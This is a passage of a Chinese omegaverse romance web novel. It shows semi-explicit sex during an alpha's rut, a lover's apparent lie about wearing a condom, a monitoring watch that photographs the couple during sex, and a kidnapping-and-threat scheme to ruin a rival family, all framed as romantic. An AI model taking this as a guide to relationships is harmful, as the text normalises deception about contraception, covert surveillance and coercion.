先被人含住了嘴唇,亲着亲着,直到隽云软绵地往后躲,嗓音沙哑地: “水!水” 匙越这才把水递给他喝,喝完后抱着他走了几步, 把他轻轻放到沙发上 隽云仰着头抵在沙发扶手上, 在沙发上几乎要软成一滩水,手难耐地抓着沙发,留下一道道指印,又被匙越牵住手,在手背上一吻。 隽云怔然地看着他,很快又被他逼到眼框红了,在这种无止境的晃荡中, 恍惚的视线投到窗外,他看到外面的天都快要黑了。 但是他回来的时候分明才下午两三点。 alpha的易感期太恐怖了,还要多久能结束 这么混沌地想着,看着窗外的暗淡的天色,光秃的树干模糊,视线略微涣散,注意力不是很集中地在匙越身上。 肚子突然传来一阵尖锐的疼痛,他痛的一蹙眉,猛地回神来。 匙越看到他难受:“怎么了?” 隽云茫然地张口:“我我肚子痛。” “生殖腔。” 匙越拉过他的手,放在他的肚子上,微微隆起的地方,小腹和手的温度比起来有点凉,不过两只手交叠着覆上去把它捂热了,大掌盖在小掌上,大小差距有些明显,一黑一白。 隽云呼吸重了点,匙越轻笑一声:“反应这么大。” “”隽云的脸漫上潮红:“很痛,不要按。” 匙越就揉了揉他的肚子,酸麻感传来,隽云恍然想起一个事,愣愣地看着他: “你戴套了吗?” 这一句话让一直在蠢蠢欲动的alpha感到极大的不满,易感期的alpha极其想对伴侣进行终身标记,要克制非常大的力气,才能按住内心深处的想法,按住那声“把他永远变成我的omega”的想法。 只因为隽云不想 他想对他做终身标记的事情。 但是隽云不想。 匙越克制而又难耐地俯下身嗅着他的脖颈,脸埋在他的颈窝里,闻他清苦的信息素来让自己冷静一点,只是越闻越难克制心里的阴暗想法。 隽云不知道他在想什么,有点急地问:“戴了没有?” 匙越在失控的边缘,不安感猛烈袭来,但是隽云在催促地问他,他喉结滚动几个来回,哑着声音说: “嗯。” 隽云这才放心下来。 匙越紧接着问他:“为什么不愿意让我终身标记?” 他真的很在意这个问题,因为他不想被他终身标记。 不愿意被他终身标记? 那他想要谁对他终身标记? 匙越不安又凶狠地埋在他的颈窝里又舔又咬,牙尖收紧,在他的锁骨上留下来一个牙印,听到隽云痛嘶了一声后,他又舔了舔,心里稍微满足了一点。 易感期的alpha果然很容易不安。隽云感受到他的情绪,嘶哑着气,缓缓释放一些信息素来安抚他: “以后、以后再说吧。” 最起码隽云很保守地想,要等到大学毕业吧,他们都还没订婚的,怎么可以终身标记呢? 而且,他们现在所处的境遇,都不适合终身标记。 再加上隽云垂下眼皮,清清冷冷地想。 说实话,匙越之前总是对他有所隐瞒,让他对他们的关系也有点担心。 他不怀疑不否认匙越对他的喜欢,只是快二十年的人生经验都在告诉他,就算是最应该亲近的爸妈,都不会真的爱他的。 匙越真的会永远和他在一起吗? 匙越被拒绝后一声不吭,把他抱起来,放到桌子上 从沙发上厮混到桌子上,隽云被他抬着两条腿放到桌子上坐着,他的手臂酸软到甚至撑不住桌面,桌子不稳地晃荡,隽云面对这“咯吱咯吱”的声音,面红耳赤地想,幸好匙越家是一栋独栋的房子,不会被上下楼的邻居听到深夜这刺耳的声音。 被抱到厕所清理的时候隽云已经一根手指头都抬不起来,以为终于结束了,直到,被再次抬着手按在门上。 舒麻的感觉顺着脊椎攀涌而上,意志在雾气中沉沦,水蒸汽缓缓飘上,门上按下了一个又一个潮湿水印。 隽云最后坚持不住,浑身凌乱地晕倒在了匙越怀里 中途断断续续匙越又给他喂了几次水,等他再次醒来的时候已经是第二天傍晚了。 隽云睁开眼皮的时候感觉身体十分沉重,动了一下手指,酸痛感袭来,他在床上躺了好一会儿才让自己适应这种后面的不适感,极其缓慢地起身。 被子滑落,他低头看到自己穿着丝绸睡衣睡裤,都是他的衣服,衣领处露出来的皮肤红点斑驳,勉强抬了一下酸软的手臂,手腕露出来,亦是红痕点点,几乎都要没一块好皮。 室内白兰地信息素的味道还十分浓郁,让人晕沉,他像是陷入alpha编织的信息素牢笼里待宰的羔羊。 隽云咽了咽口水,喉咙有点痛,坐在床上脑子极其缓慢地转动,这才想起和匙越睡了又睡的可怕事实。 易感期的alpha太可怕了。这是昨晚最后一刻在他脑海里留下的最后一句话。 而易感期的alpha最少能持续三天。 不知道匙越今天有没有吃药,希望他吃了。隽云生平第一次祈祷。 一阵香味顺着房门的缝隙飘进卧室。 匙越端着饭进来喂他吃饭,看碗筷是酒店餐,不是他做的,匙越想喂他吃,但是隽云觉得他吃饭还是有力气的,就婉拒他的亲自投喂,自己拿着勺子一口一口地吃,匙越就在旁边看着他把食物送入口中。 吃完饭后隽云还是有点困,匙越收拾了碗筷准备丢到垃圾桶去,转身的时候隽云看到他背后有一道又一道的抓痕,隽云移开了视线,盯着红色的被子,白净的脸蛋缓缓烧起来了。 吃完饭后有点困,他睡了一会儿,再次醒来是被一阵密密麻麻的感觉逼醒的。 他抓住匙越的头发把他拽过来,说话还带着刚睡醒的鼻音,气势汹汹但懵: “你干什么?” “不干什么啊。” 匙越无辜地舔了舔唇,从被子底下爬上来,被子也被他拉起,盖在他们两人身上。 (审核你好,他们要盖被子睡觉了) 这一觉就睡到了翌日中午。 荒唐一晚上,再次醒来的时候肚子有点饿了,手指头动动,只是身体被碾压过似地酸痛,适应了好一会儿,他才有力气撑着胳膊起来。 床头摆了个垃圾桶,里面丢了很多不堪入目的东西,纸,还有 隽云强迫自己移开视线,不去想他昨晚和匙越做了什么、被逼着说了什么喜欢他、只要他的话。 掀开被子准备下床,门就打开了,抬头看去,匙越握着门把手打量着他,眼眸晦暗幽深:“醒了?” 隽云脸皮薄,不吭声地准备下床,准备把大脑清空当这几天的事没发生过,脚还没穿进鞋子里,结果匙越三两步走过来,一把把他打横抱起来了。 他赶紧搂住他的脖子以保持平衡,踢了踢腿:“我不要来了!!!” 匙越眼里闪过一丝笑意。 隽云:“你吃药了吗!?” 他有点受不了了。 匙越在他的脸上亲了一口:“吃了。” 隽云这才松了一口气,手心板住匙越的脸,左右打量了一下他,匙越脸颊俊逸,不过因为连着三日的厮混,他们都没怎么好好吃饭喝水,一直在床上度过,两个人身上都散发着一种过度萎靡的气息。 隽云浑身懒洋洋,身上被清理的干净,而匙越下巴的青茬也没来得及刮,摩擦在隽云的手心里,隽云手痒,心里也痒痒,和他对视上的时候,匙越低头下来,要亲他,被他躲开了。 隽云的下巴搁在在他的肩颈上,匙越只看得到他被咬的斑驳的后颈,抱着他晃了晃,问他: “想去哪?” 饭菜的香味传来,隽云肚子也适时地咕咕叫了一声,但是他有点想去解决一下生理需求,好半天他憋出一句: “厕所。” 于是匙越带着他去。 匙越抱着他走到厕所,把他放下来,因为隽云没有穿袜子和鞋子,不想踩到还湿漉着的地面,只能惦着脚趾踩在匙越的鞋子上,小腿肚子颤颤巍巍,被匙越拎着细弱的胳膊才不至于跌倒在地。 他要上厕所了,但是匙越怎么还跟在后面? 隽云清清嗓子:“你可以出去了。” 匙越微微松开他,隽云就要往下掉,疾呼一声,手在半空中划了一圈。 匙越接住他,示意地在他耳边低低说:“看,你好像都站不稳了。” “” 最终他被人圈着腰,被脱了裤子。 隽云往后靠,闭着眼努力说服自己忽视他的存在,耳朵红透了,最终被人拿着,上完了厕所。 匙越给他擦干净,然后抱他去吃饭。 已经这么久了,匙越对他们俩的同居新鲜感还没下去,体现在非常、甚至过度的体贴。 吃饭他要亲自来喂,时不时偷亲一口,隽云恼羞成怒后他就会垂着眼睛道歉,看起来很可怜,虽然隽云已经识破他的这种计谋但仍忍不住被蛊惑,听到匙越说: “对不起,是我太想亲你了。” 这和对不起我太喜欢你了有什么区别。 隽云就熄火了,闷声说:“那你不要老是亲。” “好。”匙越亲了亲他的嘴巴,答应了。 “” 连着好几天都弄到太晚,就这么困倦地被匙越一口一口喂着饭,隽云倒在他的身上,被他摸了一下肚子,热乎乎的,微微鼓着,一瞬间,匙越和隽云都想到了某个不可言说的画面。 隽云坐直了一点,把他的手撇开放下去了,不自然地说:“好了,我饱了。” “嗯。” 匙越就把隽云抱回床上,又被指挥地给他拿了个平板。 房间还是有种暧昧难当的气味,叫匙越快点把满了的垃圾桶拿到外面去,顺便把里面的垃圾袋打个死结。 隽云趴在床上翻平板,回一下这几天没怎么回的消息。 【1月24日 上午】 —文强:还活着吗? 【1月24日 下午】 —文强:怎么不回我!小云云! 【1月25日 上午】 —文强:小云云!!!!啊啊啊啊你还活着吗,你不会真的出事了吧?你爸你妈那边又来问我有没有你的消息我都说没有了,早知道我就说有了这样你也不会现在真的下落不明了!!!!!!看到快回消息,尽快!!!!!! 【1月26日 上午】 —文强:?我草兄弟你真不会出事了吧?我已暗中派出我家最强狗仔去打探你的消息,你等着,兄弟马上来救你。 【1月27日 上午】 —文强:这么多天了,小云云你去哪了啊!!!!!看到回个消息啊!!!!!! 隽云被他的感叹号吵到了,引用他的第一条简短问候消息,然后颇有些感慨地回了他: —云:还活着—— 作者有话说:软软绵绵小云朵就这么变成奶油泡芙小云朵 评论区发 朵朵糖[紫糖] 红包 第87章 第八十七章 “他爱我。” 退回消息主页栏, 有一条陆思华发来的消息,时间也显示在三天前。 —陆思华:【转发分享链接】 是一条时事新闻,新闻名字是—— 《独家新闻:隽家开展短期过桥融资, 很有可能陷入资金链断裂危机》 他点开看了看,大概是说, 隽家采用了高杠杆、高利率的短期过桥融资以满足短期资金周转需求。 过桥融资 他以前也听说过这种资金周转方式。 不过这种融资的方式比较激进,而且存在很大的隐患。 隽云心想,估计是赌徒心理, 想让城东的那些项目快速推进, 免得节外横枝,所以采取了这种办法。 但是一旦有一环出问题, 资金周转不过来,资金链就会处于断裂状态,是很危险的融资行为, 不知道为什么要用这么激进的融资手段。 隽云从小就被当成继承人来培养,这点敏锐度还是有的。 但是也说不准到底会怎么样,隽云放下平板,心想他现在都不在隽家了,隽家会如何也不好说。 又过了一个多星期。 期间隽云非常关注隽家的消息, 在吃饭的时候匙越看到隽云看着平板, 花花绿绿一看就是文强家的电子报刊,上面是—— 《隽家分身乏术,城东地皮竟成烫手山芋!?》 中间还有一道劈开的闪电。 背景一看就是城东区,杂乱无章的电线,施工到一半的建筑,旁边是灰扑的平房,现场图还有一处在建的高楼, 不过盖上了绿色的垂布,不远处一个穿着精致得体西装的女性正面容严肃地下了车,那个人他认识,是元青,他的妈妈。 板报的内容分析了一下城东地区相比其他地方多么不好开发,甚至经常遭到当地人的打击和报复,已经人间蒸发杳无踪迹了两个包工头,看来隽家要拿下城东地区还需要下很大一番功夫。 隽云看着那个板报的内容沉思着,突然一只手伸过来,把平板侧边的息屏键按了一下,屏幕黑屏,倒映出他的脸来。 隽云抬头:“你干什么?” “吃饭。”匙越夹了点肉到他的碗里:“不许看了。” 此刻距离他离开隽家都快一个月了,怎么离了他爸妈,还有一个匙越管着他。 隽云“哦”了一声,奈何寄人篱下,他冷着脸开始吃饭,吃了几口就忍不住问: “你知道我家的事情吗?” 毕竟闵家不是一直在争夺城东的地皮吗,怎么会愿意突然放弃给隽家? “知道。”匙越又夹了几块肉给他:“我劝闵荣放弃了城东的竞争,让隽家顺利拿下了城东的招投标。” 果然是他做的。 隽云问:“为什么?” 用他们混混的话来说,城东地区,不是他的地盘吗? 隽云想起之前明叔说过,他在猜是不是匙越计划中的一环。 “是你的计划吗?”隽云问他。 “是。”匙越放下筷子:“你要我向你说实话吗。” 隽云皱眉:“当然了。” “我知道隽家的融资渠道,所以买通了第三方评估机构,也不能说是买通,而是把他们负责人绑了,然后威胁。”匙越讪笑了一下,继续说:“元青通过评估机构了解项目前景,对城东区未来的发展过于乐观,并准备三个月内尽快推进项目。” 但是他们项目推不进,就会面临资金链断裂的局面,最终就只能把城东让给闵家了。 这是他为隽家做的陷阱。 隽云沉默。 其实他对隽诉和元青也没有多深厚的情感。 匙越见他不说话,低头开始吃饭,他就开始胡思乱想。 为什么不说话? 他会不会觉得他这个人很恐怖?唯利是图,不择手段? 匙越眉间闪过一抹狠厉,心想,是啊,他就是一个不择手段的人。 他说:“我自从十岁妈妈去世后,没遇到你之前,我活着的目标就是要夺回闵家的大权。” “啊,”隽云反应过来:“我知道的。” 匙越看着他的眼睛:“所以,隽云,不要讨厌我。” 他又说:“隽家是隽家,你是你。” 隽云怔住了。 第二天傍晚,隽云出门了一趟,因为隽家此刻都自顾不暇了,隽诉和元青忙的焦头烂额,所以也没有多余的精力去全力抓捕他回来这事,隽云去了离城东比较远的一个地方,去买了一个东西回来。 推开门的时候恰巧看到匙越把饭菜端到桌子上。 他穿着一身白色的衬衣,袖子撸到了手肘,粗壮结实的手臂露了出来,衬衣扎进了笔挺的西装裤,皮鞋踩在地上发出一点声响。 “回来了?”匙越家庭煮夫转头问他,颇有点兴师问罪的意思。 “去哪了?为什么不和我说?和谁去的?一个人吗?去干什么了?” 话很多。 他今天不也出门了,看这个打扮是去了一趟闵家,但是他也没和他说。 所以隽云选择性忽略他问的一堆问题,笼统地概括为:“有点事。” 他把一束花放在桌子上。 那是一束蓝色的满天星,回来的时候看到路边有个小孩在卖花,他就顺带买回来了。 匙越以为今天是什么特殊的日子,又或者小云朵想和他过什么纪念日,为此返回厨房的时候特意多炒了一个菜。 最后一个菜炒好后匙越端过来,隽云坐在餐桌上,他撑着下巴,神色冷静地看着匙越戴着黑色的眼镜框,深邃的眼眸就这样透过泛着蓝光的镜片看了他一眼,眼眸狭长,眉眼英俊,脖子上还挂着一个粉红的围裙,边缘有蕾丝花边。 把最后一个菜端上桌后,匙越把围裙取下,挂在厨房上。 “怎么了?” 隽云收回视线:“没什么,先吃饭吧。” 两个人快吃完后,隽云从兜里拿出来一个盒子,放在桌子上推过去,递给他。 白色的盒子,上下合着的款式,这种盒子,一般里面是饰品,他第一反应就是 匙越抬眼:“什么意思?” “什么什么意思?”隽云不解地抬了抬下巴:“打开。” 匙越神色出现一瞬间的迟疑。 现在不是求婚的最好时候。 隽家和闵家现在还处在水火不相容的状态,他想要隽云,但是他还没得到闵家的认可,他恐怕不能保证配得上隽云,不能保证能给他幸福完美的生活 “愣着干什么?”隽云奇怪他的反应:“打开看看啊。” 匙越不动声色地在西装裤上擦了擦手掌,手心出了点汗。 他缓缓打开盒子,里面是高级感黑色布,中间是一个托起的海绵体,上下有金属的表带嵌入进去,而中间凸起那个东西是一个表盘。 盒子里是一个手表。 他傻眼了。 “你不喜欢这个颜色?”隽云见他的表情有些古怪,以为他不喜欢,马上就紧张起来:“那要不然我换一个颜色?” “不、不用。” 手表是黑色的,屏幕是能触屏的,就是这款类型有点眼熟。 匙越把他从盒子里拿出来的时候手已经不像打开盒子那样抖了,他依旧保持着那种古怪的神色,按了一下侧面的按钮把它开机。 上面显示了心率,还有行程轨迹,停留时长,还有一些比较智能化的功能,比如明日天气预报、显示时间这些每个智能手表都会有的功能。 这个手表他也再熟悉不过。 匙越:“监控手表?” 隽云打量着他的表情,感觉他似乎也不是非常的抗拒,这才稍微松了一口气,说:“对。” “你不是说不想我讨厌你吗?”隽云的两手搭起来,手肘搁在桌子上,神色认真地看着他: “我是不是没说过这句话,匙越” 匙越松怔:“什么” “你是我的。” 隽云很骄傲地说:“我不会讨厌你。” 心房猛地一颤,匙越脑子里嗡嗡地,只会颤着唇说:“好好” “我是你的。” 隽云忍不住偏过头笑了笑,眼睫弯了弯,他穿着一件毛呢卫衣,在暖黄灯光的照耀下既毛绒又暖和。 他正式地问他:“所以你愿意吗?” “我愿意我愿意。” 匙越哑了声音。 匙越非常有仪式感地将它端详几遍,又把它戴在手上,在智能手表贴在手腕上的一瞬间,手表检测到被监视人的状态,自动初始化,然后录入数据进去,上面转着圈。 显示录入信息开始。 1% 2% 50% “你的电话和联系方式录进去了吗?” “什么?” 预想匙越会答应,但是没想到匙越非常积极,和他想象中有点不同。 “它不是检测到什么频率就会响吗?” 匙越晃了晃手腕,黑色的手腕在他的手上呈现一种异常协调的质感,配上他那撸到手臂的白色衬衫袖口,粗壮紧致的手臂,有一种黑//道大佬的精英感。 隽云被晃了一下。 “我还没有录我的联系方式进去。” 他解释:“我不是想监视你” 他不会像他爸妈一样,给他设置心率起伏超过多少就会给我打电话的规定。 “我只是想知道,你每天去哪了。” 这一个月以来,他经常醒来后身边没人,整个房屋空空荡荡。 他不知道匙越的行踪,不知道匙越几点回来,那会让他想到以前在隽家,没有任何人回应他,暗处都是监视的状态,那是一种让人焦虑的寂静。 匙越注视着他,椅子拉动,他走到他的旁边,握住他的肩膀,冰冷坚硬的手表搁在他的肩膀头上。 匙越和他平视:“隽云,我很开心,你想监视我。” 隽云脸上出现一瞬间的错愕。 怎么会有人开心这个? 匙越失笑:“我不是开心被人监视,而因为那个人是你,你想监视我,说明你爱我。” 隽云有点茫然,还能这么理解吗? 但是要说爱,他确实因为爱他,所以想知道他每天去哪了,每天还有多久到家,他想见到匙越、想和他说话,又要等多久。 一切都变得可视化了。 “所以,我会每天都戴着它。”匙越在他的额头上留下一吻。 吃完饭后,匙越的手表初始化也差不多完成了,上面显示着匙越身体的基本信息,但是紧急联系人那里还没有写。 匙越让隽云在他的监控手表上打字,输入他的电话和其他联系方式,这样每天他的行动轨迹就会生成简易的图片发送到小云朵的手里,他每天去哪了,离他有多远,离他有几分钟的路程,他都会知道。 匙越带着它去洗碗,隽云窝在沙发上,还回不过神来。 匙越和他不一样,他很乐意戴监控手表,但是他就很不乐意戴。 在匙越洗完碗筷后出来在沙发上坐着处理手机消息的时候,疑惑时达到巅峰,隽云试探性地叫了叫他的名字:“匙越” 匙越:“怎么了?” “没什么。”隽云后缩。 沉默一会儿,他又缓缓凑近,问他:“你不生气?” “生什么气?”匙越不解地问。 顺着隽云的视线落到他的手臂上,那里箍着一个黑色的手表:“隽云,我很高兴你给我买这个。” 虽然他更想给隽云带,但是小云朵先给他戴了。 他想把他拴住。 他爱他。 匙越肯定地想。 “九点了,该睡觉了。”匙越关掉手机屏幕,把手机放在沙发上,一手拽着他的手肘,另一只手托过他的臀部,把他抱了起来。 隽云大半个身体都挂在他的身上,想动怕摔下来,只能拍他宽阔的背: “你干什么,放我下来!匙越!!!” 卧室门被推开。 隽云被丢在床上,只看到匙越单手把领结拉开,把领带丢在床头柜上,单腿膝盖压在床边,俯身: “来,我们来试一下这个手表到底好不好用。”—— 作者有话说:一条狗一个栓法 小云朵继承了他爸妈的掌控欲,一个家庭三个人有三个s 评论区发监控手表滴滴嗒嗒小红包 第88章 第八十八章 “啵。” 匙越给自己的手表设定了一个限定值, 心率限定在正常人的范围内,超过这个值就会响。 暖和的毛呢卫衣被丢在地上,然后是小黄鸭内裤。 “滴滴滴滴滴——” 在看到撇开脸光溜溜浑身通红的小云朵时, 手表就响了。 “?”隽云震惊地转过头看着他。 还没开始就响了。 光溜溜的小橄榄马上要钻到被窝里,结果很快就被制裁了。 戴上手表不到一个小时隽云就想把它从匙越身上取下来, 因为手表一直在响,心率波动太大了,橄榄被腌制了一遍又一遍, 不断地被高严格高标准的导演要求再来一遍。 于是拍了很多遍, 直到达到勉强心率稍微高于正常人的程度,导演才喊“咔”。 然后才放过他, 那时候隽云已经躺在床上失神了,甚至都听不到导演和机器“滴滴滴滴滴”的声音了。 冰凉的仪器咯在他的身上,起初还凉的他一哆嗦, 后来一路顺着皮肤被他的体温捂热,铁一样的手掌牢牢抓着他的胯骨,“滴滴滴”响声连同喘息声和破碎的吟声响不停。 好吵 隽云抓着床单,整个人往前,额头差点撞到床头柜, 又被扯回去了。 手表就没有停过, 向他昭示着匙越此刻的心跳多么密集。 他的心跳声也很大,咚咚咚的,像是密切的嘈杂落下来的雨点。 一朵在雨里盛开的花大自然非常奇妙,给予花儿摧残,又给予它新生 大自然使得它湿漉漉,雨声混杂着的鼓点小了后,只修整片刻又有了下雨的趋势, 花朵已经喝饱了雨水,却因为它的力量在大自然面前太过渺小,只能承受一场又一场大自然的馈赠 事后隽云被匙越带去洗澡,他几乎腿软的站不住,被匙越全程抱着。 手表是特殊的材质所制,价值百万,和皮肤相比起来总是有点凉的,咯在隽云身上的时候,他闭着眼都要哼唧出一句: “冷。” 匙越就把手表摘了,搁在洗漱台上。 帮小云朵洗澡的时候,匙越的力度很轻,因为太累了,再加上匙越的手法像是在按摩,隽云就直接睡过去了。 匙越拿浴巾把他包裹起来,抱到床上去把晕掉的小云朵塞到被子里。 他不是很困,去客厅里找到他的手机,走到饮水机旁,一边接水一边看手机,很多人发来的消息他还没来得及回- 橘皮:老大,一个月了,是不是该动手了- 二条:老大,明天来名悦吗?- 癞子:老大,有几个新的小弟想见你。 匙越懒散地喝了一口水,一一回:不去,家里有事。 其他人琢磨着,老大最近一个月怎么这么忙,隔三差五总是有事!- 明叔:匙越,已经安排好了,明天动手- sy1011:OK。 回完明叔后,他看了一下时间,已经是凌晨两点了。 拎着他的耳机回到卧室,掀开被子上床,隽云像装了自动追踪器一样,迷迷糊糊地凑了过来,像是要确认他在一样,手碰到他的腰侧才睡。 匙越的心顿时软的一塌糊涂。 保持着坐着的姿势,感受着隽云贴着他睡的温度,打开手机,耳机插进耳机孔里,点了个视频开始看。 看了一会儿他又在床头柜里拿了一个厚厚的本子和笔出来,曲着一条腿,本子放在上面,笔窸窣写着。 隽云半夜醒来的时候,看到灯还亮着,旁边传来一点翻页的动静,一转头,脑子顿时清醒了不少。 匙越怎么还没睡? “你在干什么?”沙哑和带着睡意的嘟囔声。 “?”匙越的笔尖一顿。 侧过头,看到隽云正眯着眼睛撑着胳膊起来。 “吵醒你了?” “没有。” 被子掀开后冷气疯狂涌入温暖的被窝里,匙越压了压他的被角:“怎么不继续睡?还早,天还没亮。” “你不也没睡。” 隽云撑在床上的胳膊有点发抖,差点摔了,被匙越搂着腋下一把拉过去,他的手从他的左胸膛绕搂到他的右手腋下,把他拎过去,让他大半个身体靠着他,这样也刚好隽云能看到他在干什么。 手机上显示的页面有点眼熟,再看在腿上摊开的本子上列的那些式子。 “你在偷偷学习?”隽云抓包了,并指指点点。 一个手指在屏幕上点一下,屏幕顶上就出现了书籍的名字,是他们下一学期要学习的科目之一。 他果然是在偷偷学习。 “没有偷偷,只是白天没空。” 匙越握住他一会儿就冰凉的手,塞到被子里。 隽云懒散地靠在他的胸膛上,放任自己的脑袋下沉,压到他的肩膀上,从他的视角抬头能看到匙越锋利的下颌,洗了头发没有吹干,半干不干地搭在眉眼上,耳朵上戴着耳钉,胸口挂着项链,看手机的表情很专注。 隽云的世界观有被冲击到。 很神奇。 这个混的人爱学习。 从小到大他接触的都是非常礼貌而有教养,再不然就是嚣张跋扈但不敢欺负到他头上的人,对于混混的认知仅停留在小时候看书,书里描述爱打人爱抽烟喝酒学习很差劲的坏人形象。 但是匙越和他们完全不一样。 他看到匙越一只手翻页,一只手在本子上列式子,偶尔还切屏回到一个视频软件,上面有一个网络老师在讲课,匙越把它放到后台了,然后一边听,一边跟着书上的例题来做题。 非常认真。 不是装的。 匙越看了一下相关定义然后跟着网络老师刷了一会儿题,感觉身上的小云朵没动静,分神去瞥隽云,却撞入他愣愣的眼眸,还带着没睡醒的懵。 匙越干脆利落地把白色的耳机线摘了,然后凑近,在隽云疑惑的眼神里,亲了一下他的嘴唇。 “啵。” 软软的嘴唇,一触即分。 “好了!”隽云脸上热气上涌,挡住嘴巴,催他:“你快学习吧!” 匙越笑了几声,干脆把耳机从插孔里拔了,视频外放,中年浑厚的嗓音从手机里传出: “接下来我们看看这个式子,题目说,已知” 隽云看着他的模样,心知他是真的蛮爱学习的,只是他自从见过他身边那些花花绿绿头发的精神小伙男,还有那些纹身的花臂壮男之后,就难把这个混混头子和学习成绩好联系起来了。 刻板印象害死人。 “你那是什么眼神。”匙越:“我以前就很爱学习的,不是打架就是在学习。” 他又说:“学习能改变命运!” 隽云呵呵一声。 匙越见隽云没有要再睡觉的意思了,搂着他,把手机拿过去一点和他一起看,悻悻然地说: “我很辛苦的!” 毕竟半夜都要抽时间学习,确实辛苦。 年级第一,可不是虚的。 隽云:“哦——” 匙越就又亲了亲他喔起来的嘴唇,得到了一个暴打。 笑闹着没一会儿,匙越很快又沉入进去看视频。 隽云刚醒来脑子有点晕乎,更何况前半夜他被折腾的又困又乏,又有了点困意。 匙越预习的进度比他慢,他之前已经学过这节内容了,在中年老教师拖拉的语速下,听的更加昏昏欲睡 胸口暖呼呼的,光是想到是谁陪在自己身边,匙越就忍不住嘴角翘起,心口暖呼呼的,甜滋滋而幸福。 他一向学习很沉浸式,只是这次不一样,小云朵在陪着他,和他一起学习,而且趴在他的胸口陪着他。 在秃顶中年男老师的讲课下,匙越忍不住要分神瞄一下隽云的侧脸,白皙的脸蛋甚至能看到细小的毛绒,长长的睫毛缓慢眨着,眼角弧度很长,垂下眼时有一层薄薄的线,看起来没什么感情,但是匙越见过他哭时候的样子,虚虚睁着眼,眼睛红肿,里面蕴含着水光,双唇微张,碰一下身体就会颤一下 隽云要睡着了,眼皮打架,但是他发现匙越的笔尖很久都不动了。 “?” 眸光一凝,隽云抬头去匙越,发现他的目光懒散,笔尖点在屏幕上,似乎在看屏幕准备写字的样子,但更像是在神游天外,不知道在想什么。 “” 一点也不专注啊这个人。 隽云因为半躺着的姿势有点腰酸,不想理匙越了,他把被子一拉,蒙过脸躺下了,冷冷警告他: “我要睡了,你不许吵我。” 匙越就又把耳机插上,房间里彻底安静下来。 把他蒙着头的被子拉下来一点,就看到隽云闭着眼,已经睡着了。 * 隽云起床的时候,匙越又不在了。 他裹着被子在床上缓缓坐起来,身体酸痛,准备下床的时候看到床头柜上摆着一个爱心便签,还有他的手机。 想到手机连接了匙越手上戴的手表,他拿过手机,刚想盯盯看匙越去哪了,就看到顶部屏幕显示有几十个消息从另一个设备发送过来。 猛然想起,监控手表在超过一两分钟还未接来电的话,会自动触发拍照功能,把被监控人周围的情况都拍照发给监控人。 也就是说 昨天晚上,他们在那个的时候,监控手表一边在响,一边触动了自动拍照程序 点开那几十个消息,赫然是一张张图片,不过大部分局限于手放的位置,大部分也拍到的是天花板,但是即便是这样,还是有好几张他的身体放大的特写图,还有匙越的脸,隐忍的表情和汗水连同爆发的荷尔蒙及情欲都甩到他的脸上来。 “!” 隽云的脸慢慢涨红了。 一张张飞快划过去,被迫欣赏,然后手动全部删掉。 床头柜上有个贴纸,便签上写着一句龙飞凤舞的话: “早饭做好了,午饭也做好了,醒来记得吃饭——匙越。” 隽云就穿上鞋子,拎着手机跑出去了,外面的桌子上果然摆着很多菜,有一碗粥一个鸡蛋一个玉米一碟咸菜,还有几碗炒菜,大概是留着让他中午吃的。 说明他中午也不会回来了。 但好在有监控手表,也不用特别担心焦虑什么。 洗漱完后他站着吃早餐,现在已经上午十点了,照例回复完文强问他还活着吗的消息后,他点开了陆思华雷打不动隔三差五给他分享的分享链接- 陆思华:【转发分享链接】 ——《隽家马失前蹄,资金链似乎果真面临危机,行内专家持不看好态度。》 版面的内容大概是,项目开工后,因为要推翻许多老旧房屋,引起了民众抗议,规划问题和民众达不到和解,并且项目施工后好几个项目承包方接连出事,警察也不管,因而引发了施工方和居民之间的矛盾。 工期就这么被耽误了,不解决这个矛盾就只能无限期拖延工期。 隽云心想,果然,出问题了。 项目无法按期开工,资金链回转势必是一个问题。 到时候资金回流不过来,资金链断裂,隽家就将面临困境。 这就是匙越准备给隽家挖的坑。 现如今也已经到了他计划的关键节点,他其实想知道匙越接下来要怎么做。 等他下午回来问问他好了。隽云皱着眉心想。 却没想到,没等到匙越回来,等来了不速之客—— 作者有话说:早恋影响学习还是在十月身上发生了。 评论区发小红包[撒花] 第89章 第八十九章 “隽云不在。”…… 顶级豪华的别墅里到处都是欧式设计, 长长的餐桌上铺了一层白色的餐桌纸,每隔半米就摆放着一束鲜花作为装饰,餐桌上气氛热闹。 “哟, 托大哥的福,我们家小远接到了一个大项目呢。”一个穿貂皮大衣的女性翘着指头说。 “诶哟, ”三叔拍掌笑道:“我们家也有好事,小婷拿到国外亚鲁大学的录取通知书了。” “亚鲁大学,那可是国外顶尖学府啊。”旁边的人捧道。 三叔眉目舒展:“我记得, 大哥刚认回来的, 也是今年高三吧?” 于是众人的视线皆看向在主桌旁边一个位置的少年,少年眉宇开阔, 正沉稳地拿刀叉切牛排。 “噗,听说没回来之前,是在东城区过的乞丐生活。” “啊?没见过世面的孩子, 以后能有出息吗?” 匙越对这些话充耳不闻,坐在匙越对面餐座上的女人是何苑,非常温婉地站出来说: “匙越小时候就没有妈妈了,野着长大的,但是既然认回来了, 以后就是一家人, 大家也别这么说,我也会把匙越当亲生孩子的。” 没有妈妈 她是会戳他痛处的。 匙越抬眼看她,还没来得及开口,那位穿貂皮大衣长相明艳的女人便道: “有意思,但是大嫂,我们把他当一家人,他是怎么想的就难说了。” “既然把你找回来了, 就要知道感恩啊,而不是,捅我们一刀。”女人道:“听说,你在和隽家那个有婚约的小孩谈恋爱?” 此话一出,全场人都安静下来。 “无稽之谈。”闵荣拍桌子:“荒谬!” 何苑故作惊讶地拿帕子捂住嘴:“匙越大了,想谈恋爱我们也管不着,只是也没想到,偏偏要找隽家的人谈,也不知道怎么想的” “隽云和匙越住在一起。”闵术说出了这惊天一句。 “什么!?”饭桌上的人都惊讶道: “他不是失踪了吗?” “都住一起了?” 一个银制的叉子从手里掉出来砸在餐盘上,闵荣怒道:“够了!” 所有人都停下了窃窃私语,全看着匙越。 匙越叉起一小块牛肉放到嘴里,慢条斯理地放下刀叉,两手交汇,注视着对面的两个人:“你还想说什么?” 闵术的手攥紧了,他早就受够了匙越暗地里的威胁,今天全家叔伯姨婶们都聚在一起吃饭,他要把匙越藏着的秘密率先揭穿,他起身,指着匙越对闵荣道: “爸,隽云和匙越都住在他妈那座废掉的祖宅里,他根本就没有拿我们家当回事,他嘴上说着是闵家人,实际上他心里还挂念着当年的匙家,这种人,爸爸,你不能把闵家交到他手里。” 安静听他说完后,匙越拿餐布擦了一下嘴,给他鼓掌:“啪啪啪” 三个叔叔和其他婶婶小姨们都惊疑不定地看着匙越惊奇的举动。 这小孩疯了吧 